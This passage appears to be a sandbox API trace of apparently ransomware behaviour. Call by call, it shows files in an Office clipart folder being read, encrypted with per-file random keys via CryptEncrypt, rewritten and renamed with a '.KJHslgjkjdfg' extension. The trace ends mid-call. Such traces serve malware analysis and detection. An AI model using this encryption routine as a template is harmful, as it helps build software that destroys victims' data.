lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3130, lpOverlapped=0x0) returned 1 [0199.343] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.343] SetEndOfFile (hFile=0x130) returned 1 [0199.344] GetProcessHeap () returned 0x990000 [0199.344] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.344] GetProcessHeap () returned 0x990000 [0199.344] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.344] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.kjhslgjkjdfg")) returned 1 [0199.346] CloseHandle (hObject=0x130) returned 1 [0199.346] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f43f00, ftCreationTime.dwHighDateTime=0x1be809a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64f43f00, ftLastWriteTime.dwHighDateTime=0x1be809a, nFileSizeHigh=0x0, nFileSizeLow=0x975e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0233992.WMF", cAlternateFileName="")) returned 1 [0199.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.347] GetProcessHeap () returned 0x990000 [0199.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.347] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.347] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0199.349] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.349] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.349] GetProcessHeap () returned 0x990000 [0199.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.350] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.350] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.350] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.350] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.350] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.350] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.350] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.350] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.350] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.350] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.350] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.350] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x975e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x975e, lpOverlapped=0x0) returned 1 [0199.352] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9760, dwBufLen=0x9760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9760) returned 1 [0199.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.352] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9760, lpOverlapped=0x0) returned 1 [0199.353] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.353] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.353] SetEndOfFile (hFile=0x130) returned 1 [0199.356] GetProcessHeap () returned 0x990000 [0199.356] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.356] GetProcessHeap () returned 0x990000 [0199.356] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf.kjhslgjkjdfg")) returned 1 [0199.357] CloseHandle (hObject=0x130) returned 1 [0199.357] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f727e00, ftCreationTime.dwHighDateTime=0x1be7b5a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f727e00, ftLastWriteTime.dwHighDateTime=0x1be7b5a, nFileSizeHigh=0x0, nFileSizeLow=0xcec6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0234000.WMF", cAlternateFileName="")) returned 1 [0199.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.358] GetProcessHeap () returned 0x990000 [0199.358] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.358] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.359] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0199.361] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.361] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.361] GetProcessHeap () returned 0x990000 [0199.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.361] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.361] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.361] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.361] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.362] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.362] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.362] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.362] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.362] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.362] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcec6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xcec6, lpOverlapped=0x0) returned 1 [0199.364] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xced0, dwBufLen=0xced0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xced0) returned 1 [0199.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.365] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xced0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xced0, lpOverlapped=0x0) returned 1 [0199.365] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.365] SetEndOfFile (hFile=0x130) returned 1 [0199.368] GetProcessHeap () returned 0x990000 [0199.368] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.368] GetProcessHeap () returned 0x990000 [0199.368] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.368] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf.kjhslgjkjdfg")) returned 1 [0199.371] CloseHandle (hObject=0x130) returned 1 [0199.371] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fc7700, ftCreationTime.dwHighDateTime=0x1be7b5e, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97fc7700, ftLastWriteTime.dwHighDateTime=0x1be7b5e, nFileSizeHigh=0x0, nFileSizeLow=0x4b40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0234001.WMF", cAlternateFileName="")) returned 1 [0199.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.373] GetProcessHeap () returned 0x990000 [0199.374] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.374] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.374] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.374] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.374] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.374] GetProcessHeap () returned 0x990000 [0199.374] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.374] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.374] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.374] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.376] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.376] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.376] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.376] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.376] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.376] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.376] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4b40, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4b40, lpOverlapped=0x0) returned 1 [0199.377] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b40, dwBufLen=0x4b40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b40) returned 1 [0199.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.378] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4b40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4b40, lpOverlapped=0x0) returned 1 [0199.378] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.378] SetEndOfFile (hFile=0x130) returned 1 [0199.380] GetProcessHeap () returned 0x990000 [0199.380] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.380] GetProcessHeap () returned 0x990000 [0199.380] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.380] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf.kjhslgjkjdfg")) returned 1 [0199.382] CloseHandle (hObject=0x130) returned 1 [0199.382] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0234376.WMF", cAlternateFileName="")) returned 1 [0199.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.383] GetProcessHeap () returned 0x990000 [0199.383] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.383] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.384] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0199.386] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.386] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.386] GetProcessHeap () returned 0x990000 [0199.386] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.386] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.386] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.386] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.386] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.387] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.387] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.387] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.387] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.387] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.387] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x80d4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x80d4, lpOverlapped=0x0) returned 1 [0199.389] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x80e0, dwBufLen=0x80e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x80e0) returned 1 [0199.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.389] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x80e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x80e0, lpOverlapped=0x0) returned 1 [0199.390] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x81b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.390] SetEndOfFile (hFile=0x130) returned 1 [0199.393] GetProcessHeap () returned 0x990000 [0199.393] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.393] GetProcessHeap () returned 0x990000 [0199.393] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf.kjhslgjkjdfg")) returned 1 [0199.395] CloseHandle (hObject=0x130) returned 1 [0199.395] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0237225.WMF", cAlternateFileName="")) returned 1 [0199.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: 